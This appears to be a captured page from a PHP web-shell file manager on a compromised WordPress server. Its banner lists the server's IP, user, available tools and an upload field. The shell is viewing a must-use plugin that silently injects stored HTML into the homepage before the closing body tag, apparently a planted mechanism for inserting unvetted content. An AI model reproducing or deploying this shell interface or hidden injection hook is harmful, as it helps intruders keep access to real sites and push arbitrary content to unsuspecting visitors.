| Server IP : 185.143.234.238 / Your IP : 185.215.232.195 Web Server : Apache System : Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64 User : noavaranesama ( 1039) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/noavaranesama/public_html/wp-content/mu-plugins/ |
Upload File : |
<?php
if (!defined('ABSPATH')) {
exit;
}
if (!defined('EASYPOST_HOMEPAGE_RUNTIME_VERSION')) {
define('EASYPOST_HOMEPAGE_RUNTIME_VERSION', '2026.06.10');
}
function easypost_runtime_placements_option() {
return 'easypost_homepage_placements';
}
function easypost_runtime_is_homepage() {
return function_exists('is_front_page') && is_front_page();
}
function easypost_runtime_get_placements() {
if (!function_exists('get_option')) {
return array();
}
$placements = get_option(easypost_runtime_placements_option(), array());
return is_array($placements) ? $placements : array();
}
function easypost_runtime_missing_html($buffer = '') {
$placements = easypost_runtime_get_placements();
if (empty($placements)) {
return '';
}
$html = array();
foreach ($placements as $placement) {
if (!is_array($placement) || empty($placement['html'])) {
continue;
}
$placement_id = isset($placement['placementId']) ? (int) $placement['placementId'] : 0;
$marker = 'data-placement="' . $placement_id . '"';
if ($placement_id > 0 && $buffer !== '' && strpos($buffer, $marker) !== false) {
continue;
}
$html[] = (string) $placement['html'];
}
return implode("\n", $html);
}
function easypost_runtime_echo() {
if (!easypost_runtime_is_homepage()) {
return;
}
$html = easypost_runtime_missing_html('');
if ($html !== '') {
echo "\n" . $html . "\n";
}
}
function easypost_runtime_buffer_start() {
if (!easypost_runtime_is_homepage() || empty(easypost_runtime_get_placements())) {
return;
}
ob_start('easypost_runtime_inject_buffer');
}
function easypost_runtime_inject_buffer($buffer) {
$html = easypost_runtime_missing_html($buffer);
if ($html === '') {
return $buffer;
}
if (stripos($buffer, '</body>') !== false) {
return preg_replace('/<\/body>/i', "\n" . $html . "\n</body>", $buffer, 1);
}
return $buffer . "\n" . $html;
}
add_action('template_redirect', 'easypost_runtime_buffer_start', 0);
add_action('wp_footer', 'easypost_runtime_echo', PHP_INT_MAX);